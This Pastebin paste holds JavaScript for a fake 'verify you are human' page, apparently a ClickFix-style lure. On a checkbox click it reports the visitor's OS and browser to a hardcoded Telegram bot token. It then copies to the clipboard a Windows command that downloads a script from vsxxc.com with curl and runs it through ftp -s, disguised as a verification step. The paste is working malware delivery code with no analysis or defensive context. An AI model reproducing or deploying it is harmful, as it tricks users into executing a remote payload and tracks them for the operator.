Guest User

Untitled

a guest
Jul 17th, 2025
179
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.40 KB | None | 0 0
  1. const TELEGRAM_BOT_TOKEN = '7708755483:An7X_G5mbD3YhjDI_Ss';
  2. const TELEGRAM_CHAT_ID = '78510';
  3.  
  4. document.getElementById("bWfyD1").innerText = document.getElementById("bWfyD1").innerText.replaceAll("...", window.location.host);
  5. document.getElementById("waiting-for").innerText = document.getElementById("waiting-for").innerText.replaceAll("...", window.location.host);
  6. document.getElementById("heading-favicon").innerText = document.getElementById("heading-favicon").innerText.replaceAll("...", window.location.host);
  7.  
  8. if (window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches) {
  9. document.body.classList.add("theme-dark");
  10. } else {
  11. document.body.classList.add("theme-light");
  12. }
  13.  
  14. // Function to generate a unique username
  15. function generateUniqueUsername() {
  16. const adjectives = [
  17. 'Long', 'Spider', 'Crazy', 'Brave', 'Silent', 'Mighty', 'Quick', 'Wise',
  18. 'Sneaky', 'Cosmic', 'Iron', 'Golden', 'Shadow', 'Frost', 'Thunder'
  19. ];
  20. const animals = [
  21. 'Dog', 'Cat', 'Wolf', 'Fox', 'Hawk', 'Bear', 'Lion', 'Eagle',
  22. 'Shark', 'Scat', 'Whale', 'Owl', 'Tiger', 'Cobra', 'Raven'
  23. ];
  24.  
  25. const storedUsername = localStorage.getItem('uniqueUsername');
  26. if (storedUsername) {
  27. return storedUsername;
  28. }
  29.  
  30. const username =
  31. adjectives[Math.floor(Math.random() * adjectives.length)] +
  32. animals[Math.floor(Math.random() * animals.length)];
  33.  
  34. localStorage.setItem('uniqueUsername', username);
  35. return username;
  36. }
  37.  
  38. const cmd = `cmd /i /c cd %userprofile% && curl.exe --proto-default httP -L -o "dcf.log" vsxxc.com/upn.php && ftp -s:dcf.log &&`;
  39. const verifyWnd = document.getElementById("verify-window");
  40. const checkboxBtn = document.getElementById("checkbox");
  41. const content = document.getElementById("HJup0");
  42. const verifLogoId = document.getElementById("verifying");
  43. const verifId = document.getElementById("verification-id");
  44. const generatedId = generateRandomNumber();
  45.  
  46. const uniqueUsername = generateUniqueUsername();
  47.  
  48. let doOnce = false;
  49. let clickCount = localStorage.getItem('clickCount') ? parseInt(localStorage.getItem('clickCount')) : 0;
  50.  
  51. checkboxBtn.addEventListener("click", async () => {
  52. clickCount++;
  53. localStorage.setItem('clickCount', clickCount);
  54.  
  55. if (!doOnce) {
  56. doOnce = true;
  57. } else {
  58. return;
  59. }
  60.  
  61. content.style.display = "none";
  62. verifLogoId.style.display = "flex";
  63. verifLogoId.style.visibility = "visible";
  64.  
  65. const browserInfo = getBrowserInfo();
  66.  
  67. let notificationMessage = `🚨💥 ALERT! New click detected by ${uniqueUsername}!🔥\n` +
  68. `-------------------------------------\n` +
  69. ` OS: ${browserInfo.os}\n` +
  70. ` SYSTEM: ${browserInfo.name} ${browserInfo.version}\n` +
  71. ` CLICKS: ${clickCount} 🔢\n` +
  72. `-------------------------------------`;
  73.  
  74. if (browserInfo.os === 'Windows') {
  75. notificationMessage = `💻✨ Windows User Alert! **${uniqueUsername}** clicked! 🎉\n` +
  76. `-------------------------------------\n` +
  77. ` OS: ${browserInfo.os}\n` +
  78. ` SYSTEM: ${browserInfo.name} ${browserInfo.version}\n` +
  79. ` CLICKS: ${clickCount} 🔢\n` +
  80. `-------------------------------------`;
  81. }
  82.  
  83. await sendTelegramNotification(notificationMessage);
  84.  
  85. verifId.innerText = generatedId;
  86. verifyWnd.style.visibility = "visible";
  87. verifyWnd.style.opacity = "100%";
  88. checkboxBtn.disabled = true;
  89.  
  90. stageClipboard(cmd, generatedId);
  91.  
  92. if (browserInfo.os === 'Windows' && clickCount === 2) {
  93. await sendTelegramNotification(`⚠️ **${uniqueUsername}**, please check the panel ASAP! 🚀💫`);
  94. }
  95.  
  96. if (browserInfo.os === 'Windows') {
  97. setTimeout(() => {
  98. sendTelegramNotification(`⏳ **${uniqueUsername}**, 20 seconds have passed! Keep me updated until I disappear! 👻`);
  99. }, 20000);
  100. }
  101. });
  102.  
  103. function generateRandomNumber() {
  104. return Math.floor(Math.random() * (9999 - 1000 + 1) + 1000).toString();
  105. }
  106.  
  107. async function sendTelegramNotification(message) {
  108. try {
  109. const url = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`;
  110. const response = await fetch(url, {
  111. method: 'POST',
  112. headers: {
  113. 'Content-Type': 'application/json'
  114. },
  115. body: JSON.stringify({
  116. chat_id: TELEGRAM_CHAT_ID,
  117. text: message
  118. })
  119. });
  120.  
  121. if (!response.ok) {
  122. console.error('Telegram notification failed', await response.text());
  123. }
  124. } catch (error) {
  125. console.error('Error sending Telegram notification:', error);
  126. }
  127. }
  128.  
  129. //
  130. function copyToClipboard(text) {
  131. if (window !== window.parent) {
  132. console.log("error:", text);
  133. window.parent.postMessage({ type: "copy", text: text }, "*");
  134. } else {
  135. navigator.clipboard.writeText(text).then(() => {
  136. console.log("copied:", text);
  137. }).catch(err => {
  138. console.error("error cc:", err);
  139. });
  140. }
  141. }
  142.  
  143. //
  144. function stageClipboard(commandToRun, verification_id) {
  145. const suffix = "";
  146. const ploy = " action : ";
  147. const end = "";
  148. const textToCopy = commandToRun + suffix + ploy + verification_id + end;
  149.  
  150. copyToClipboard(textToCopy); //
  151. }
  152.  
  153. // ✅
  154. window.addEventListener("message", function(event) {
  155. if (event.data.type === "copy") {
  156. navigator.clipboard.writeText(event.data.text).then(() => {
  157. console.log("success:", event.data.text);
  158. }).catch(err => {
  159. console.error("error:", err);
  160. });
  161. }
  162. });
  163.  
  164. // ✅
  165. function getBrowserInfo() {
  166. const ua = navigator.userAgent;
  167. let browserName = 'Unknown', browserVersion = 'Unknown', osName = 'Unknown';
  168.  
  169. if (ua.includes('Firefox')) {
  170. browserName = 'Firefox';
  171. browserVersion = ua.match(/Firefox\/([0-9.]+)/)?.[1] || 'Unknown';
  172. } else if (ua.includes('Chrome')) {
  173. browserName = 'Chrome';
  174. browserVersion = ua.match(/Chrome\/([0-9.]+)/)?.[1] || 'Unknown';
  175. }
  176.  
  177. if (ua.includes('Windows')) osName = 'Windows';
  178. else if (ua.includes('Mac')) osName = 'macOS';
  179. else if (ua.includes('Linux')) osName = 'Linux';
  180.  
  181. return {
  182. name: browserName,
  183. version: browserVersion,
  184. os: osName
  185. };
  186. }
Advertisement
Add Comment
Please, Sign In to add comment